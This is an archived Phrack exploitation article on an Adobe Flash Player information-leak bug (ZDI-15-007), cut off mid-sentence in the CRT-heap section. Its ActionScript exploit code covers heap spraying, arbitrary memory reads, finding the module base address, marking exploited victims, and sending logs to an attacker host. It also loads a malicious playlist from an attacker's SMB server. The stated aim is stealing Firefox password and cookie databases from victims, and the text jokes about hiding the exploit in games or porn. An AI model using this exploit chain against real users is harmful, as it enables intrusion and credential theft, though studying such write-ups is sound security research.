💾 Archived View for aphrack.org › issues › phrack69 › 13.gmi captured on 2022-03-01 at 15:59:10. Gemini links have been rewritten to link to archived content

View Raw

More Information

⬅️ Previous capture (2021-12-03)

-=-=-=-=-=-=-

                              ==Phrack Inc.==

                Volume 0x0f, Issue 0x45, Phile #0x0d of 0x10

|=-----------------------------------------------------------------------=|
|=---------------=[       The Art of Exploitation       ]=---------------=|
|=-----------------------------------------------------------------------=|
|=--------------=[ Obituary for an Adobe Flash Player bug ]=-------------=|
|=-----------------------------------------------------------------------=|
|=------------------------------=[ huku ]=-------------------------------=|
|=------------------------=[ huku@grhack.net ]=--------------------------=|
|=-----------------------------------------------------------------------=|


--[ Table of contents

0 - Introduction
1 - Preparing a debugging environment
    1.1 - Your first AS3 "Hello, World!"
    1.2 - Printing output
2 - Useful ActionScript classes
    2.1 - Marking owned clients
    2.2 - Preventing the unresponsive script pop-up from showing up
3 - The bug
    3.1 - Analysis
    3.2 - Exploitation
        3.2.1 - Assessment
        3.2.2 - From relative to absolute information leak
        3.2.3 - Discovering Flash Player base address
        3.2.4 - Discovering the CRT heap address
        3.2.5 - Walking CRT heap allocations
        3.2.6 - Reading arbitrary files
        3.2.7 - Overall exploit methodology
        3.2.8 - Logz
4 - Conclusion
5 - Thanks
6 - References
7 - Codez


--[ 0 - Introduction

The 21st of January was a sad day. A beautiful vulnerability, ZDI-15-007
[01], was killed by a person using the alias "bilou". It was one of those
days that some people had to fire up IDA Pro again and start reversing in
search of new 0days. Yes, this article will deal with some Adobe Flash
exploitation, as if the P0 circus was not enough already (to which the
author regrets having taken part by posting comments a couple of times).

Let's get this straight, Adobe Flash is indeed high in a security
researcher's audit list, and there's a good reason for that, but all this
defamation against Adobe's products, is, obviously well lead by other
coorporate organizations whose products are not less vulnerable [04]. It's
kinda funny how Firefox, for example, #2 in the list of top 50 products by
total number of distinct vulnerabilities (according to [03]), denies to
activate a vulnerable Adobe Flash plug-in, listed under #15. How wonderful
would it be if Flash did the same? Imagine Flash, for example, denying to
run on shitty browsers [02]. In a security circus where famous security
researcher celebrities have chosen sides, we suggest that hackers benefit
from both sides' idiocy.

This article will deal with the aforementioned vulnerability. We will show
how it can be leveraged to disclose, not only sensitive information from a
sandboxed Adobe Flash process, but other sensitive information from the
target's filesystem as well. More specifically, we will focus on how it's
possible to steal the Firefox SQLite databases containing stored passwords,
encryption keys and cookies from a victim's computer. These passwords, can
then be used to access the target machine via other means thus allowing one
to indirectly, escape the sandbox restrictions imposed by Adobe Flash on
Firefox. Since our 0days have long stopped working, it's a good chance for
us to share our experience with the community.

This article is organised as follows. The first section deals with how a
working/debugging environment for Flash development is set up. We believe
that this will help the interesting reader get started with Adobe Flash
exploitation and will aid him/her in discovering his/her own 0day
vulnerabilities. The second section deals with certain problems that may
arise during client side exploitation and presents simple ActionScript
tricks that can be used to resolve them. Last but not least, the third
section analyzes the actual vulnerability and the steps taken to achieve
arbitrary file stealing by abusing a simple information/memory disclosure
primitive.

It should be noted that the code snippets and other information presented
in the remainder of this article correspond to version 15.0.0.189 of the
NPAPI release of Adobe Flash Player. The vulnerability is present in older
versions as well, but the author was unable to find older IDA Pro databases
in his hard drive :P


--[ 1 - Preparing a debugging environment

Before delving into the specifics of ZDI-15-007, let's have a look at
preparing the minimal toolset for compiling, running and debugging
ActionScript code. To avoid using complex commercial IDEs, we will limit
ourselves to publicly available open source software instead, which is more
than enough for building SWF objects. The development toolchain for
ActionScript applications consists of the following components:

  * The FLEX SDK distributed by the Apache Foundation [05] or Adobe [06].
    You should stick with the first. Just visit the Apache foundation
    homepage and download the automated installer.

  * The runtime targeting the Flash version of interest. Usually named
    "playerglobal.swc". This is automatically downloaded for you by the
    Flex SDK installer. You can always grab the latest version from [17].

  * Your favorite console editor (vim, emacs, nano, whatever).

I guess all Phrack readers know how to install stuff, so I'll leave this as
an exercise to the reader :P

As an alternative to the above, one may use Haxe [20]. Haxe allows a
developer to write code using a strictly typed programming language and
then compile it, or even cross-compile it, to a set of possible target
runtimes. Adobe Flash is in the list of supported application runtimes.
In this article, however, we will stick to the first of the two options,
but Haxe is also worth exploring from an attacker's perspective.


----[ 1.1 - Your first AS3 "Hello, World!"

Fire up your favorite text editor and create a file named "Test.as" with
the following contents. Just like Java, AS3 source code files are named
after the public class they declare.


--- snip ---
package
{
    import flash.display.Sprite;

    public class Test extends Sprite
    {
        public function Test()
        {
            trace("Hello, world!\n");
        }
    }
}

// vim: set syntax=cpp:
--- snip ---


Unless you have a vim syntax file for AS3, the last comment will put some
color in your editor.

The following is a typical Makefile used to build "Test.swf" from
"Test.as". Before running `make', make sure you have set `SDK_PREFIX' to
the directory where you have installed the Flex SDK.


--- snip ---
SDK_PREFIX=/var/flex

MXMLC=$(SDK_PREFIX)/bin/mxmlc
MXMLC_FLAGS=-compiler.optimize -warnings

SRCS=Test.as
BIN=Test.swf

all:
    $(MXMLC) $(SRCS) $(MXMLC_FLAGS) -output $(BIN)

.PHONY: clean
clean:
    rm -fr $(BIN)
--- snip ---


Running `make' will generate the required SWF file.


--- snip ---
$ make
~/flex/bin/mxmlc Test.as -compiler.optimize -warnings -output Test.swf
Loading configuration file ~/flex/frameworks/flex-config.xml
Test.swf (581 bytes)
--- snip ---


----[ 1.2 - Printing output

Admittedly, the best way of debugging code is printing output (who needs
`gdb' anyway?). The AS3 API provides a function named `trace()' which is
used to produce debugging messages. However, the messages can only be
viewed when a debugging version of Adobe Flash Player is used and the SWF
is run from within Flash Builder Studio. This is bad news; no clients use a
debugging version of Flash and I prefer spending 50$ for anything other
than buying Flash Studio :)

I can think of at least two cases where output messages can be useful:

  * During development; seeing what's wrong with your exploit is fastest
    way of resolving issues with your code and improving your exploit's
    reliability.

  * During production; watching clients being owned - priceless :)

For the first case output messages can be printed directly in the users
browser. For the second case, logs can be forwarded to a remote log server
controlled by the attacker. `Console' class, implemented in file
"Console.as" in the attached exploit, is capable of performing both. The
boolean constants `LOCAL_DEBUG' and `REMOTE_DEBUG' control what kind of
logging strategy is used:


--- snip ---
public class Console
{
    // Print messages to a standard text field.
    private const LOCAL_DEBUG:Boolean = true;

    // Forward messages to remote host. Our tool, named `xmlsocketd.py', is
    // supposed to be waiting there for incoming connections.
    private const REMOTE_DEBUG:Boolean = true;
    private const REMOTE_HOST:String = "1.2.3.4";
    private const REMOTE_PORT:int = 1234;

    ...
}
--- snip ---


When `LOCAL_DEBUG' is set to `true', as shown above, a text field is
created and logs are written in it. The text field is automatically
resized and the output scrolls down just like your favorite terminal
emulator. If `REMOTE_DEBUG' is true, an XML socket is used to forward
messages to a remote machine.

The attached exploit comes with a simple Python server that receives the
messages and writes them in a SQLite database. A simple web interface can
be used to view them.


--[ 2 - Useful ActionScript classes

Let's forget about the actual vulnerability for a moment and let's focus on
various problems that may arise during the exploitation process. Each of
the following sections deals with such a problem and presents a simple
solution.


----[ 2.1 - Marking owned clients

A first problem that may arise when writing AS3 exploits (in fact, during
client side exploitation in general) is how already exploited clients are
distinguished from clients on which the exploit failed and clients that are
targeted for the first time. If for some reason the exploit fails on a
client, maybe because the Flash Player plug-in crashed because of accessing
an unmapped memory address for example, it's good not to run the exploit
again next time the client in question refreshes the malicious web page. A
means to achieving this kind of behavior is using some kind of persistent
information on the client's side. The two most well known methods are the
following:


    * Cookies. We all know and kinda love cookies.

    * JavaScript persistent storage APIs

        * HTML5 web storage [07]

        * WebSQL [08]. Nowadays considered obsolete, but some browsers
          still support it


Even though the mechanisms above can indeed be used as a possible solution,
they both come with their drawbacks. Cookies are not that reliable (e.g.
private browsing, cookies being cleaned up when the browser exits), while a
JavaScript based solution requires some form of communication between the
JavaScript code and our Flash exploit. Even though this is possible [09],
it kind of complicates things. A pure AS3 solution is preferred.

For the sake of developing the attached Flash exploit, I decided to make
use of ActionScript's `SharedObject' class [10]. This API allows for
managing persistent storage on the clients side directly from the AVM
engine and it's as simple as the equivalent JavaScript APIs. An additional
benefit is that browsers usually don't clean the, so called, Flash cookies
and thus marking a client this way may be better and more reliable.

The logic is implemented in `Persistence.as' and consists of two simple
methods, namely `is_marked()', for testing wether a client has been marked,
and `mark()' that uses persistent storage to mark a victim. The code for
`is_marked()' is shown below:


--- snip ---
public static function is_marked():Boolean
{
    var ret:Boolean = true;
    var lso:SharedObject = SharedObject.getLocal(Persistence.ID);

    // If cookie not present, or more than the specified amount of time has
    // elapsed, the client is not considered marked.
    if(!("time" in lso.data) ||
            (new Date()).time - lso.data["time"] >= Persistence.INTERVAL)
        ret = false;

    lso.close();
    return ret;
}
--- snip ---


The code checks if a cookie with a chosen name, `Persistence.ID', already
exists in the victims computer. The cookie is supposed to hold the
timestamp of the last exploit attempt. If more than `Persistence.INTERVAL'
milliseconds have elapsed since that time, or if the cookie does not exist
in the victim's computer, then the client is considered unmarked and the
exploitation proceeds. Otherwise, the exploit exits immediately.
Successful exploitation attempts result in the victim being marked, so that
the malicious SWF is not activated again if the user refreshes the
container HTML page.


--- snip ---
public static function mark():void
{
    var lso:SharedObject = SharedObject.getLocal(Persistence.ID);
    lso.data["time"] = (new Date()).time;
    lso.flush();
    lso.close();
}
--- snip ---


In the attached exploit a client is marked by installing a Flash cookie
named "cookie".


----[ 2.2 - Preventing the unresponsive script pop-up from showing up

As it wil become apparent later, successful exploitation of the analyzed
vulnerability takes a certain amount of time. It's important, for example,
that, until all the required files from the victim's computer have been
uploaded to the attacker's server, the whole exploitation process is not
interrupted. A common problem, that arises when exploiting
"plugin-container.exe" processes, is the unresponsive script pop-up shown
by Firefox (why this happens is out of the scope of this article). This
section deals with the aforementioned problem and presents a simple
solution, implemented in the attached exploit, for avoiding annoying
browser pop-ups.

Just like JavaScript, ActionScript has its own implementation of web
workers, an abstraction over an operating system's threading mechanism.
Using web workers allows for running several SWF files in parallel which,
in turn, allows for executing the main exploitation logic in separate
thread, thus not keeping the main plug-in thread busy. While the
exploitation process is carried out in the background, the attacker can,
for example, present a silly Flash game to the victim to buy some time.
Embedding an exploit to your favorite porn movie is also a good idea :P

The exploit's entry point, which for obvious purposes was named "Main",
looks like the following:


--- snip ---
public class Main extends MovieClip
{
    // Array of URIs to worker SWF files; add extra workers here.
    private const workers:Array = new Array("WorkerMain.swf");

    public function Main()
    {
        this._mcv = new Vector.<MessageChannel>();
        this._con = new Console(this);

        if(Persistence.is_marked() == false) // (1)
        {
            for each(var swf_url:String in this.workers)
            {
                this._con.msg("Will now load worker from " + swf_url);
                swf_url += "?rnd=" + getTimer().toString(16);
                var req:URLRequest = new URLRequest(swf_url);
                var ldr:URLLoader = new URLLoader();
                ldr.dataFormat = URLLoaderDataFormat.BINARY;
                ldr.addEventListener(Event.COMPLETE, this._on_complete);
                ldr.load(req);
            }
        }
        else
            this._con.msg("Target is marked");
    }
}
--- snip ---


At (1), the `Persistence' class (presented in the previous section) is used
to check if the client has already been successfully exploited from a
previous run of the exploit. If not, or if this is a new client, the SWF
files specified in the `workers[]' array are loaded one by one using URL
requests (the "?rnd=" URL parameter is used for avoiding possible caching
from the client's side, a common trick used by scripting languages). Method
`_on_complete()' is executed for each worker successfully loaded from its
corresponding URL. Eventually each worker starts running by calling the
`start()' method.


--- snip ---
private function _on_complete(evt:Event):void
{
    ...

    worker.start();
    this._con.msg("New worker started");
}
--- snip ---


This function will also create a `MessageChannel' instance for each worker,
so that asynchronous communication with the main thread is possible. In the
attached exploit, the message channel is used by the workers to forward
debugging messages to the main thread, who will, in turn, forward them to
the output stream specified in "Console.as". The relevant code is not
presented here, as this feature is just a minor, but useful, detail of the
exploit.


--[ 3. The bug

----[ 3.1 Analysis

TL;DR, the vulnerability lies in method `getABRProfileInfoAtIndex()' of
class `AVSegmentedSource'. Unfortunately, at the time of writing, the
`AVSegmentedSource' API is still undocumented. Any information, that will
be presented in the following sections, was recovered by reverse
engineering the ActiveX and NPAPI versions of Adobe Flash. The bug was also
present in the PPAPI version of Chrome (a.k.a. "pepperflash.dll"), but the
author didn't have enough time to investigate further.

`AVSegmentedSource' is the class responsible for HLS playback. According
to Wikipedia [11]:

    HTTP Live Streaming (also known as HLS) is an HTTP-based media
    streaming communications protocol implemented by Apple Inc. as part of
    its QuickTime, Safari, OS X, and iOS software. It works by breaking the
    overall stream into a sequence of small HTTP-based file downloads, each
    download loading one short chunk of an overall potentially unbounded
    transport stream. As the stream is played, the client may select from
    a number of different alternate streams containing the same material
    encoded at a variety of data rates, allowing the streaming session to
    adapt to the available data rate.

To start playback, a client has to load a, so called, HLS manifest, which
is simply an .m3u or .m3u8 (unicode version of .m3u) playlist. Wikipedia
[11] explains:

    At the start of the streaming session, it downloads an extended M3U
    playlist containing the metadata for the various sub-streams which are
    available.

The following snippet shows how one can do that programmatically in AS3.


--- snip ---
var source:AVSegmentedSource = new AVSegmentedSource();
var stream:AVStream = new AVStream(source);
...

stream.load("C:\\playlist.m3u8");
stream.play();
--- snip ---


People familiar with ActionScript development should have already noticed
that the path given as the first argument to `load()' is the filename of a
local file residing in the user's filesystem (back when I was developing
this exploit, `load()' failed when a URL was passed to it, maybe this
problem has been fixed by now). This, however, kind of contradicts the
sandbox model of Adobe Flash; Flash applications are not allowed to write
or even read local files. So, how is a SWF movie supposed to load an HLS
manifest, if it has to write it to the user's filesystem first?

Unless `load()' supports URLs in recent versions of Flash Player, playback
of HLS streams is not supported on platforms other than Microsoft Windows;
on Windows systems, one can bypass this limitation by using UNC paths,
either in the standard "\\server\path" format or using the WebDAV notation
"\\server@port\path", which, unfortunately, is not supported on Windows
versions greater than Microsoft Windows 7. An attacker can place an
arbitrary M3U8 playlist on a SMB/SAMBA server under his or her control and
have the target client load it as shown below:


--- snip ---
// Works on all Microsoft Windows versions.
stream.load("\\\\1.2.3.4\\exploit\\playlist.m3u8");
stream.play();

// Works only on Microsoft Windows 7 and probably XP.
stream.load("\\\\1.2.3.4@8080\\exploit\\playlist.m3u8");
stream.play();
--- snip ---


As a side note, the author would like to stress the fact that this article
will not deal with the server component of the attached exploit that serves
the malicious M3U8 files. The interested reader is advised to have a look
at "m3u8.php", "dumper.php" and the relevant code in "WorkerMain.as". These
details have been intentional left out so that the reader's attention is
not focused on simple technical issues like setting up Samba, Apache, DAV
and so on. For more information have a look at "README.md" in the exploit's
top-level directory.

HLS is quite flexible. An M3U8 playlist may specify the same media source
(e.g. your favorite porn video) in various encodings and various bitrates.
This way clients can adapt based on availability of bandwidth or other
resources. Additionally a media source is allowed to be broken in smaller
pieces, called periods, so that clients can faster seek to the required
time location. Since the author is not really a media guy, the information
and terminology in the following paragraphs is presented ad referendum.

Let's see an example M3U8 manifest taken from [16]:


--- snip ---
#EXTM3U

#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=150000,RESOLUTION=416x234, \
CODECS="avc1.42e00a,mp4a.40.2"
http://example.com/low/index.m3u8

#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=240000,RESOLUTION=416x234, \
CODECS="avc1.42e00a,mp4a.40.2"
http://example.com/lo_mid/index.m3u8

#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=440000,RESOLUTION=416x234, \
CODECS="avc1.42e00a,mp4a.40.2"
http://example.com/hi_mid/index.m3u8

#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=640000,RESOLUTION=640x360, \
CODECS="avc1.42e00a,mp4a.40.2"
http://example.com/high/index.m3u8

#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=64000,CODECS="mp4a.40.5"
http://example.com/audio/index.m3u8
--- snip ---


The manifest shown above defines 5, so called, bitrate profiles for the
same media source. A client can choose any of these. For example, a low
bandwidth client would pick the first entry and would proceed by loading
the M3U8 manifest specified in the first "#EXT-X-STREAM-INF" entry. In
turn, this manifest may look like the following:


--- snip ---
#EXTM3U
#EXT-X-PLAYLIST-TYPE:EVENT
#EXT-X-TARGETDURATION:10
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10,
fileSequence0.ts
#EXTINF:10,
fileSequence1.ts
#EXTINF:10,
fileSequence2.ts
#EXTINF:10,
fileSequence3.ts
#EXTINF:10,
fileSequence4.ts
...
#EXTINF:10,
fileSequence120.ts
#EXTINF:10,
fileSequence121.ts
#EXT-X-ENDLIST
--- snip ---


The tag names starting with the hash character are not relevant right now.
What is important is that the files named "fileSequenceXXX.ts" correspond
to the media source's periods.

Once loading of the HLS manifest is complete, the `AVSegmentedSource'
instance may be used for querying information about the loaded manifest.
One of the several methods exported by this class is
`getABRProfileInfoAtIndex()'. The prototype of this API is shown below:


--- snip ---
getABRProfileInfoAtIndex(periodIndex:int, abrProfileIndex:int):
    AVABRProfileInfo
--- snip ---


The API requires two integers, the period index (the index of the media
source piece) and the bitrate profile index. For example, to query the
profile information for the period "fileSequenece1.ts" of the low bandwidth
profile, one might do the following:


--- snip ---
source.getABRProfileInfoAtIndex(1, 0);
--- snip ---


The reader should have already guessed where the actual bug lies. The
second argument passed to this API is not checked. The bug can be triggered
by calling `getABRProfileInfoAtIndex()' as shown below:


--- snip ---
source.getABRProfileInfoAtIndex(0, 0xdeadbeef);
--- snip ---


Here's what's going on under the hood. The presented assembly snippet was
taken from "NPSWF32_15_0_0_189.dll".


--- snip ---
; This is `getABRProfileInfoAtIndex()' entry point
sub_102354CC proc near
    ...
    xor     ebx, ebx

    ...
    mov     eax, [eax+40h]
    mov     ecx, [ebp+arg_4]    ; Profile index controlled by the attacker
    mov     esi, [eax+ecx*4]    ; Read pointer to AVABRProfileInfo (1)
    cmp     esi, ebx
    jnz     short loc_10235525

loc_10235525:
    ...
    push    dword ptr [esi+8]  ; Read 3 doublewords from `esi' (2)
    push    dword ptr [esi+4]
    push    dword ptr [esi]

loc_1023553E:
    ...
    call    sub_102347FC       ; AVABRProfileInfo constructor

loc_1023554D:
    pop     edi
    pop     ebx
    leave
    retn    8                  ; Return AVABRProfileInfo
sub_102354CC endp
--- snip ---


Argument `arg_4' is `abrProfileIndex' shown the API's definition and is
fully controlled by the attacker. As it can be seen from the above assembly
snippet, the integer passed to this method at (1) is not checked and it's
used to access an array of pointers to `AVABRProfileInfo' instances each
representing an available ABR profile specified in the loaded HLS manifest.
A pointer is read from the memory address at "[EAX + abrProfileInfo * 4]"
and stored in ESI. This pointer is then dereferenced 3 times at (2) to read
three doublewords. All three of them are leaked back to the user as part of
the returned `AVABRProfileInfo' instance. Accessing the leaked memory is
just a matter of doing the following:


--- snip ---
// Our `Console' class defined in a previous section
var con:Console = new Console(this);
var info:AVABRProfileInfo = source.getABRProfileInfoAtIndex(0, 0xdeadbeef);

// Print leaked values in hexadecimal format.
con.msg(info.width.toString(16));
con.msg(info.height.toString(16));
con.msg(info.bitrate.toString(16));
--- snip ---


----[ 3.2 Exploitation

------[ 3.2.1 Assessment

The following C++ pseudocode gives an oversimplified model for the
aforementioned vulnerability.


--- snip ---
struct ABRProfileInfo
{
    uint32_t width;
    uint32_t height;
    uint32_t bitrate;
};

class AVSegmentedSource
{
    private:
        struct ABRProfileInfo *profiles[];
        ...

    public:
        struct ABRProfileInfo *getABRProfileInfoAtIndex(int, int);
        ...
};

struct ABRProfileInfo *AVSegmentedSource::getABRProfileInfoAtIndex(int i,
        int j)
{
    ...
    return this->profiles[j];
}


AVSegmentedSource *source = new AVSegmentedSource();
AVABRProfileInfo *info;
...

info = source->getABRProfileInfoAtIndex(i, j);
printf("%x %x %x\n", info->width, info->height, info->bitrate);
--- snip ---


To successfully exploit this vulnerability an attacker will have to provide
a number `j', the second argument to `getABRProfileInfoAtIndex(), such that
`&profiles[j]' happens to fall on a mapped memory address, say 0x11111111,
and the doubleword at this location holds a valid pointer to an
`ABRProfileInfo' structure, say 0x22222222. If these conditions are met,
the call to the vulnerable API will complete successfully and the attacker
will be given back the three doublewords at 0x22222222 (member `width'),
0x22222222+4 (member `height') and 0x22222222+8 (member `bitrate') in the
returned `ABRProfileInfo' structure. Assuming the attacker, somehow,
controls the doubleword at 0x11111111, he or she can then leak three
doublewords from an arbitrary memory address by first assigning the victim
memory address at 0x11111111 and then triggering the vulnerability.

The following figure shows the relationship between the various structures
described so far.


+------+         +--------------+         +---------+
| this |-------->| *profiles[0] |-------->| width   |
+------+         +--------------+         +---------+
                 | *profiles[1] |----+    | height  |
                 +--------------+    |    +---------+
                 .              .    |    | bitrate |
                 .              .    |    +---------+
                 .              .    |
                 +--------------+    |         +---------+
                 | *profiles[N] |    .-------->| width   |
                 +--------------+              +---------+
                                               | height  |
                                               +---------+
                                               | bitrate |
                                               +---------+


So far so good. However, assuming the attacker has no information regarding
the virtual memory layout of the victim Flash process, there's no guarantee
that for an arbitrary number `j', `&profiles[j]' will, in fact, be a mapped
memory address. For the following we are going to make the assumption that
the attacker has no information regarding the state of the Adobe Flash
process and has no way of gaining insight about it. That is, we are going
to assume that the presented vulnerability is the only vulnerability the
attacker has knowledge about and thus no safe assumptions can be made about
the value of `j'.


------[ 3.2.2 From relative to absolute information leak

Ideally, one would attempt to place controlled data, a string for example,
right next to the `profiles[]' array using well known and studied heap
shaping techniques. Then, with a properly chosen value for `j',
`&profiles[j]' would fall on the aformentioned controlled data region,
resulting in total control on the address from where data will be leaked
back to the attacker. This is definitely a good way to go, however the
exploit attached in this article uses a different technique. Unfortunately,
several years have passed since I discovered this vulnerability and I don't
recall reason why I didn't follow this technique. IIRC `profiles[]' was not
in the AVM managed heap and it was thus hard to control the heap contents
right next to it. Hard, but not impossible I guess.

Probably not the best strategy, but one that works, is to spray the heap
with a few very large vectors of unsigned integers, hoping that a high
memory address is reached and that this address holds user supplied data.
The attached exploit allocates 64 such vectors, 0x01000000 bytes in size
each, and the high address in question is assumed to be 0x0a000000, but
that's an arbitrary choice, any high address properly chosen will do. It
should be noted that the heap spray vectors should be filled with a
doubleword value corresponding to the chosen high address, that is, in our
case, we should set all elements of all vectors to 0x0a000000 for reasons
that will become apparent later.

Since a great deal of the memory space is filled with our vectors,
supplying a quite large value for `j' has a good chance of making
`&profiles[j]' to fall within one of the heap sprayed regions. The exploit
will first attempt to leak a doubleword from `&profiles[0x01000000]'. A
leaked value of 0x0a000000 is an indication that the heap spray has
succeeded.


--- snip ---
private const VECNUM:uint = 64;
private const VECSZ:uint = 0x01000000 / 4 - 2;
...

private function _do_heap_spray():void
{
    var v:Vector.<uint>;
    this._sv = new Vector.<*>(this.VECNUM);
    for(var i:uint = 0; i < this.VECNUM; i++)
    {
        v = new Vector.<uint>(this.VECSZ);
        for(var j:uint = 0; j < this.VECSZ; j++)
            v[j] = 0x0a000000;
        this._sv[i] = v;
    }
}
--- snip ---


One might wonder why spraying the heap with just a few very large vectors
may be better, as opposed to spraying with a large number of smaller
vectors. Usually, we need to decrease the metadata to data ratio. The more
vectors we instantiate the more metadata are allocated in the victim
process' GC heap, the AVM managed heap. However, by allocating only a few
very large vectors we can make sure heap space is mostly filled with user
supplied unsigned integers and only a few bytes of metadata is used.

The underlying C++ vector objects hold a pointer to a memory region that
holds the actual data (for more information see [18]). This memory region
has the following format.


https://github.com/adobe-flash/avmplus/blob/master/core/avmplusList.h#L83

--- snip ---
template<class STORAGE, uint32_t slop> struct ListData
{
    uint32_t len;
    MMgc::GC* _gc;
    STORAGE entries[1];
};
--- snip ---


While writing this article, the author came across the following GitHub
repository, which was recently updated by Adobe! In this new version of
"avmplus", the layout of the structure shown above has changed and
XOR-based overflow protection has been added.

https://github.com/adobe/avmplus/blob/master/core/avmplusList.h#L83


Now, let's assume that our heap spraying results in the partial memory
layout depicted in the following figure.


    0x0a000000 - X     0x01000000 0x22222222 0x0a000000 0x0a000000
    ...
    0x0a000000         0x0a000000 0x0a000000 0x0a000000 0x0a000000
    0x0a000010         0x0a000000 0x0a000000 0x0a000000 0x0a000000
    0x0a000020         0x0a000000 0x0a000000 0x0a000000 0x0a000000
    0x0a000030         0x0a000000 0x0a000000 0x0a000000 0x0a000000
    ...
    0x0a000000 + Y     0x0a000000 0x0a000000 0x0a000000 0x0a000000


As it was previously mentioned, the exploit assumes that heap spraying
results in address 0x0a000000, an otherwise randomly chosen high heap
address, falling within the container memory region of one of the 64 large
vectors. This is depicted in the above schematic where address 0x0a000000
contains 0x0a000000, the value assigned in all vectors' elements. Notice
that, in this case, dereferencing memory address 0x0a000000 returns
0x0a000000, the memory address itself. Let's assume that, for a quite large
value of `j', say `j = 0x01000000', `&profiles[j]' happens to fall at
`0x0a000000 + Y', then `profiles[j] = 0x0a000000' and consequently three
doublewords will be leaked from 0x0a000000. So far, so good.

By repeatedly calling `getABRProfileInfoAtIndex()' with decreasing values
of `j', `&profiles[j]' will eventually point to `0x0a000000 - X + 4',
`profiles[j]' will be equal to `0x22222222' and three doublewords will be
leaked from that address. However, recall that this is the address of a C++
object (`_gc' member in `ListData' shown above), and consequently the first
leaked doubleword will hold the object's virtual function table address.
Additionally, `&profiles[j + 1]' is the pointer to the first element of the
same container memory region. Notice that we don't know, and we shouldn't
care, which of the 64 vectors this container belongs to.

We now have two assets at hand:

  * A virtual function table pointer which can be used to determine the
    Flash Player module base address.

  * An easy way of reading arbitrary memory addresses. For each vector `v'
    in the set of spray vectors, se set `v[0] = 0xdeadbeef' and call
    `getABRProfileInfoAtIndex()' passing the aforementioned `j + 1' value
    as the second argument. This will result in 3 doublewords being leaked
    from 0xdeadbeef.

All this may be confusing even if you are the most experienced exploit
writer in the world. Take your time and think about it.

The following function in "WorkerMain.as" implements the logic described so
far. When it completes, `this._idx' is the value of `j + 1', and
`this._vtable_address' is the leaked address of the C++ object's virtual
function table.


--- snip ---
private function _get_vtable_and_index():Boolean
{
    var ret:Boolean = false;
    var pi:AVABRProfileInfo;
    var idx:uint = 0x01000000;

    // If the first attempt to leak data returns 0, then we have either
    // landed on an invalid heap address (i.e. not covered by any of the
    // large vectors), or we're running on a very old Flash Player that
    // doesn't support HLS streaming.
    pi = this._source.getABRProfileInfoAtIndex(0, idx);
    if(pi.bitsPerSecond != 0)
    {
        while(pi.bitsPerSecond == 0x0a000000)
        {
            idx -= 1;
            pi = this._source.getABRProfileInfoAtIndex(0, idx);
        }
        this._idx = idx + 1;
        this._vtable_address = pi.bitsPerSecond;
        ret = true;
    }
    return ret;
}
--- snip ---


Reading a doubleword from an arbitrary address, it's then just a matter of
calling the function below (also defined in "WorkerMain.as").


--- snip ---
// Read a doubleword from the given memory address.
private function _read_dword(addr:uint):uint
{
    var pi:AVABRProfileInfo;
    var ret:uint;
    ...

    // (1)
    for(var i:uint = 0; i < this.VECNUM; i++)
        this._sv[i][0] = addr;

    // (2)
    pi = this._source.getABRProfileInfoAtIndex(0, this._idx);

    ...
    ret = pi.bitsPerSecond;

    return ret;
}
--- snip ---


At (1) we iterate over the 64 heap spray vectors and set their first
element to the address from where we want to read a doubleword. We then
call the vulnerable API, at (2), with the appropriate second argument that
results in some vector's first element being dereferenced as a memory
address. The value in `pi.bitsPerSecond' returns the leaked value.

Moving one level up in the abstraction layers, the following function,
implemented on top of `_read_dword()' given above, can be used to read
arbitrary amounts of data from a given memory address. Its usefulness will
become apparent later, but you can pretty much guess.


--- snip ---
// Read an arbitrary amount of bytes starting from the given memory
// address. Note that we can't read less than 4 bytes at a time, so,
// less than `len' bytes may be returned.
private function _read(addr:uint, len:uint):String
{
    var dw:uint;
    var raw:String = "";

    // Align at a multiple of 4 (_downwards_, _not_ upwards) and then
    // subtract the number of bytes dereferenced every time the bug is
    // triggered. We do that in an attempt to avoid hitting unmapped
    // memory regions.
    len = len & ~3;
    if(this._readahead > 0)
        len -= this._readahead;

    for(var i:uint = 0; i < (len & ~3); i += 4, addr += 4)
    {
        dw = this._read_dword(addr);
        raw += String.fromCharCode(dw & 0x000000ff) +
            String.fromCharCode((dw & 0x0000ff00) >>> 8) +
            String.fromCharCode((dw & 0x00ff0000) >>> 16) +
            String.fromCharCode((dw & 0xff000000) >>> 24);
    }

    return raw;
}
--- snip ---


------[ 3.2.3 Discovering Flash Player base address

As it was mentioned in 3.2.2, method `_get_vtable_and_index()', among other
things, returns the address of a virtual function table discovered during
the early steps of the exploit. Computing the base address of the Adobe
Flash Player plug-in is now a matter of aligning the virtual table address
to the previous multiple of the page size, reading a doubleword from that
location and checking if the "MZ" signature (0x5a4d) is there. If not,
0x1000 is subtracted from the address in question and the process is
repeated. Method `_get_flash_address()' in "WorkerMain.as" implements the
logic described in this paragraph.


--- snip ---
// Attempt to locate the Flash Player base address.
private function _get_flash_address():void
{
    var addr:uint = this._vtable_address & 0xfffff000;
    var dw:uint;

    dw = this._read_dword(addr);
    while((dw & 0x0000ffff) != 0x00005a4d)
    {
        addr -= 0x1000;
        dw = this._read_dword(addr);
    }
    this._flash_address = addr;
}
--- snip ---


When `_get_flash_address()' completes, `this._flash_address' will hold the
base address of the Adobe Flash Player plug-in.


------[ 3.2.4 Discovering the CRT heap address

Being able to to read doublewords from arbitrary memory addresses, means
one can easily locate the address of the Microsoft Windows heap used by the
Adobe Flash plug-in process. The following assembly snippet can be found in
`__heap_init()', a function found in most PE executables' early
initialization code.


--- snip ---
call    ds:HeapCreate
mov     __crtheap, eax
--- snip ---


The variable named `__crtheap' is a global holding a `HANDLE' to the CRT
heap. However, heap `HANDLE' values are, in fact, heap base addresses. An
attacker may exploit the information leak vulnerability to read the
contents of this global variable and discover the sandboxed child's CRT
heap base address. Taking into account the information presented in the
previous sections, it's quite trivial to achieve this:

  * Set `v[0] = &__crtheap' for each heap spray vector `v'.

  * Trigger the vulnerability by calling `getABRProfileInfoAtIndex()'.

The value of `&__crtheap' can easily be located by searching the Flash
plug-in's text segment for the following byte pattern. The wildcards marked
with "??" correspond to the address of `HeapCreate()'. The doubleword that
follows this pattern is `&__crtheap'.

    68 00 10 00 00 50 ff 15 ?? ?? ?? ?? a3

The following function, found in the exploit's "WorkerMain.as", is
